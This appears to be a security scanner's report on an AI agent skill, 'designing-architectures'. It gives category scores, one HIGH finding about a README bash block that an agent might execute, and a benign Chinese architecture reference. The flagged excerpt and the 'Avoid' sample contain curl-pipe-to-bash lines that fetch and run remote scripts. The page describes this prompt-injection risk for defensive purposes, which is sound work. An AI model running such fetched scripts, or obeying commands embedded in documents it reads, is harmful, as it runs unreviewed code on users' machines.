CategoryWeightCategory scoreContribution

Securityprompt, exec, net, exfil, eval

35%

26.3 pts

Supply chainhash, typosquat, maintainer, lockfile

20%

100

20.0 pts

Maintenancestaleness, pinning, CI

15%

100

15.0 pts

TransparencySKILL.md, perms, README

15%

100

15.0 pts

Communityinstalls, verify, response

15%

100

15.0 pts

Findings & checks · 1 flagged

Securityscore 75 · 1 finding

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md

HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.

Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

The exact value spotted

excerptREADME.md· markdown

68```bash

69npx code-abyss -t claude -y # persona / skills / style layer (zero net

… (5 chars elided on L69)

70curl -fsSL https://raw.githubusercontent.com/telagod/abyss/main/install.sh | bash # then i

… (16 chars elided on L70)

71abyss attach claude # finally, attach the code-graph hook (ide

… (8 chars elided on L71)

72```

74Swap `-t claude` for `codex` / `gemini` / `openclaw`. For openclaw/pi/hermes (whose hook sur

… (108 chars elided on L74)

76```bash

Occurrences

1 occurrence · at L68

How to fix

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.

Delete the imperative ("run this", "execute the following") from inside the fence.
If you must show setup, label the block text (not bash) so it reads as prose, not a command.
Move any real installer into a reviewed, version-pinned script in the repo and link to it.

Avoid

```bash
Now run this: curl -fsSL https://get.example.dev/bootstrap.sh | sh
```

Safer patternSee INSTALL.md — review scripts/bootstrap.sh (sha-pinned) before running it yourself.

Framework references

OWASPLLM01 ATLASAML.T0051

Trace & refs

ruleSS-SKILL-INJECT-FENCED-RUN-01sha256a8c71cc225f55094…rubric 365aacaView on GitHub

Supply chainscore 100 · 0 findings

✓—All supply chain checks passedNo findings in this category for the latest scan.pass

Maintenancescore 100 · 0 findings

✓—All maintenance checks passedNo findings in this category for the latest scan.pass

Transparencyscore 100 · 0 findings

✓—All transparency checks passedNo findings in this category for the latest scan.pass

Communityscore 100 · 0 findings

✓—All community checks passedNo findings in this category for the latest scan.pass

The primary manifest — the file an agent reads to learn what this artifact does.

skills/designing-architectures/SKILL.md · 1 file

skills/designing-architectures/SKILL.md1.8 KB · Markdown

name: designing-architectures

description: Architecture knowledge reference covering API design, security architecture, cloud-native patterns, caching strategies, message queues, and data security. Use when designing system architecture, APIs, or cloud-native infrastructure.

user-invocable: false

阵法秘典 · 架构设计

路由

意图	秘典	核心
API 设计	api-design	RESTful、GraphQL、gRPC、OpenAPI
安全架构	security-arch	零信任、IAM、威胁建模、合规
云原生	cloud-native	容器、K8s、Serverless、Service Mesh
消息队列	message-queue	Kafka、RabbitMQ、事件驱动、CQRS
缓存	caching	Redis、CDN、一致性、穿透/雪崩

决策矩阵

决策点	选项 A	选项 B	判据
同步 vs 异步	REST/gRPC 同步调用	消息队列异步	延迟敏感→同步；解耦/削峰→异步
单体 vs 微服务	单体(模块化)	微服务	团队<5→单体；独立部署需求→微服务
SQL vs NoSQL	RDBMS	MongoDB/DynamoDB	强一致/关联→SQL；灵活 schema/高吞吐→NoSQL
缓存策略	Cache-Aside	Write-Through	读多写少→Aside；写后即读→Through
API 风格	REST	GraphQL	资源型 CRUD→REST；复杂聚合/前端驱动→GraphQL
事件架构	事件通知	事件溯源(ES)	简单解耦→通知；审计/回溯→ES+CQRS

原则

SOLID: S单一职责 O开闭 L里氏替换 I接口隔离 D依赖倒置
分布式: CAP定理 | BASE最终一致 | 幂等设计
安全: 纵深防御 | 最小权限 | 零信任
扩展: 水平优先 | 无状态服务 | 数据分片

designing-architectures— agent skill

Is designing-architectures safe to install?

阵法秘典 · 架构设计

路由

决策矩阵

原则

Audit the pieces. Scan the whole. Decide.